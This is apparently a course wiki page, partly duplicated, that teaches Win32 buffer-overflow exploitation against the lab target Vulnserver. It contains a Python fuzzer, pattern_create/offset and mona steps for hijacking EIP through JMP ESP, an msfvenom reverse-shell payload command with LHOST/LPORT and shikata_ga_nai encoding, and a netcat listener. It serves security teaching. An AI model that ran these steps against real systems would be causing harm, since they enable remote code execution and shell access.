Buffer Overflows - Paiet/SEC-335 GitHub Wiki
- Buffer Overflow (Win32)
- What is a Buffer Overflow?
- Input is spilling over into another memory area than expected
- This can be exploited by making sure that malicious code is executed
- We cause malicious code to spill into a memory space that will run it
- What causes a Buffer Overflow?
- Improper handling of input
- Program is fed input that it isn't programmed to deal with
- Program then crashes
- Guards against BO
- Data Execution Protection(DEP)
- Double-checks memory for code changes
- Address Space Layout Randomization(ASLR)
- Randomizes base-addresses to prevent prediction
- Data Execution Protection(DEP)
- Methodology
- Create test environment
- Run program through debugger like Immunity Debugger
- Send ever-increasing data to program (use all A's)
- This is called FUZZING
- We do this easily with a script (C,Python,Perl,Bash,etc)
- fuzzer.py (code at bottom of these notes)
- If program take input from user
- Username/password input
- ANY kind of input to program will do
- We are looking for the program to crash
- IF program crashes, Immunity should pause
- Look in Immunity for EBP, ESP, and EIP registers
- You should see your input data (all A's) in EIP
- You should see your input data (all A's) in one or both of the other registers (ESP/EBP)
- If you don't see the A's in EIP, then send more A's
- Do this even if the program is crashing, until EIP is all A's
- Once EIP is all A's, you have discovered the byte size necessary for the exploit
- If you don't see the A's in EIP, then send more A's
- Look in Immunity for EBP, ESP, and EIP registers
- IF program crashes, Immunity should pause
- Find EXACT 4 byte area for EIP
- The hard way
- The easy way
-
pattern_create.rb -l 3000
- Copy the output and edit fuzz script
- Replace "A"s with copied output
- Run updated fuzz script
- Copy EIP value
- Copy the output and edit fuzz script
-
pattern_offset.rb -l 3000 -q <EIP value>
- Now we test our 4-byte area for EIP
- Edit script to add 4 "B"s
- Important For the overflow to work, the size of the data we send to it must be of sufficient size (in this case 3000 bytes). This means that we need to pad after the 4-byte EIP area. We can do that by padding with "C"s for the remainder.
- Check EIP. Should be 42424242
- Now we test our 4-byte area for EIP
-
- Make EIP instruction JMP ESP
- Install !mona
- https://github.com/corelan/mona
- Drop
mona.py
in Immunity "PyCommands" folder to install
- RUN
!mona modules
in Immunity- Look for module that doesn't have any protections
- NO Rebase, Safe SEH, ASLR, or NXCompat
- NO BAD CHARACTERS!
- x00 (Null Byte)
- x0A (Line Feed)
- x0D (Carriage Return)
-
!mona find -s "\xff\xe4" -m essfunc.dll
- Right-click > Follow in Disassembler
- Verify instruction performs JMP ESP
- Record hex address
- Right-click > Follow in Disassembler
- Edit fuzz/exploit script
- Replace "B"s with JMP ESP hex address
- Little-Endian Format
- Replace "B"s with JMP ESP hex address
- Look for module that doesn't have any protections
- Install !mona
- Generate Shellcode
- msfvenom
- What is a Buffer Overflow?
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.219.146 LPORT=5555
EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0a\x0d"
-e x86/shikata_ga_nai
- shikata_ga_nai
+ Adds a short decoding sequence to the beginning of the shellcode so
that shellcode is first decoded in memory before execution
- Record the byte size of the generated shellcode
+ You'll need to adjust the size of the padding in the exploit code
- Copy the shellcode into your exploit script
+ Add No Operations (NOPs)
- x90
- Tells the CPU to move to the next instruction
- Keeps shellcode from being the FIRST thing processed in ESP, which
can prevent the exploit from working
+ Run Exploit
- Start netcat listener
+ `nc -nlvp 5555`
- Execute exploit code
+ Windows command prompt should be waiting for you :)
Buffer Overflow (Linux)
- Evan's Debugger
- Concepts and techniques the same as what we learned in Win32
- Ollydbg
- msfvenom
-
man msfvenom
then search for "linux"
-
fuzzer.py
#!/usr/bin/env python
import socket
#change to your Vulnserver machine's IP Address
TCP_IP = '0.0.0.0'
TCP_PORT = 9999
#Take user input to define length of fuzz input
#and put that in variable called "length"
length = int(raw_input('Length of attack: '))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((TCP_IP, TCP_PORT))
print s.recv(1024)
print "Sending attack length ", length, 'to TRUN /.:/'
attack = "A" * length
s.send(('TRUN /.:/' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
-
Methodology
+ Send ever-increasing data to program (use all A's) - This is called **FUZZING** - We do this easily with a script (C,Python,Perl,Bash,etc) + fuzzer.py (code at bottom of these notes) - If program take input from user + Username/password input + ANY kind of input to program will do + We are looking for the program to crash - IF program crashes, Immunity should pause + Look in Immunity for EBP, ESP, and EIP registers - You should see your input data (all A's) in EIP - You should see your input data (all A's) in one or both of the other registers (ESP/EBP) + If you don't see the A's in EIP, then send more A's - Do this even if the program is crashing, until EIP is all A's - Once EIP is all A's, you have discovered the byte size necessary for the exploit
fuzzer.py Code
#!/usr/bin/env python
import socket
#change to your Vulnserver machine's IP Address
TCP_IP = '0.0.0.0'
TCP_PORT = 9999
#Take user input to define length of fuzz input
#and put that in variable called "length"
length = int(raw_input('Length of attack: '))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((TCP_IP, TCP_PORT))
print s.recv(1024)
print "Sending attack length ", length, 'to TRUN /.:/'
attack = "A" * length
s.send(('TRUN /.:/' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
+ Find EXACT 4 byte area for EIP
- The hard way
- The easy way
+ `pattern_create.rb -l 3000`
- Copy the output and edit fuzz script
+ Replace "A"s with copied output
+ Run updated fuzz script
+ Copy EIP value
+ `pattern_offset.rb -l 3000 -q <EIP value>`
- Now we test our 4-byte area for EIP
+ Edit script to add 4 "B"s
+ **Important** For the overflow to work, the size of the data we
send to it must be of sufficient size (in this case 3000 bytes).
This means that we need to pad after the 4-byte EIP area. We can
do that by padding with "C"s for the remainder.
+ Check EIP. Should be 42424242
+ Make EIP instruction JMP ESP
- Install !mona
+ https://github.com/corelan/mona
+ Drop `mona.py` in Immunity "PyCommands" folder to install
- RUN `!mona modules` in Immunity
+ Look for module that doesn't have any protections
- NO Rebase, Safe SEH, ASLR, or NXCompat
- NO BAD CHARACTERS!
+ x00 (Null Byte)
+ x0A (Line Feed)
+ x0D (Carriage Return)
+ `!mona find -s "\xff\xe4" -m essfunc.dll`
- Right-click > Follow in Disassembler
+ Verify instruction performs JMP ESP
+ Record hex address
+ Edit fuzz/exploit script
- Replace "B"s with JMP ESP hex address
+ Little-Endian Format
-
Generate Shellcode
-
msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.219.146 LPORT=5555
EXITFUNC=thread -f c -a x86 --platform windows -b "\x00\x0a\x0d"
-e x86/shikata_ga_nai
- shikata_ga_nai
+ Adds a short decoding sequence to the beginning of the shellcode so
that shellcode is first decoded in memory before execution
- Record the byte size of the generated shellcode
+ You'll need to adjust the size of the padding in the exploit code
- Copy the shellcode into your exploit script
+ Add No Operations (NOPs)
- x90
- Tells the CPU to move to the next instruction
- Keeps shellcode from being the FIRST thing processed in ESP, which
can prevent the exploit from working
+ Run Exploit
- Start netcat listener
+ `nc -nlvp 5555`
- Execute exploit code
+ Windows command prompt should be waiting for you :)
Buffer Overflow (Linux)
- Evan's Debugger
- Concepts and techniques the same as what we learned in Win32
- Ollydbg
- msfvenom
-
man msfvenom
then search for "linux"
-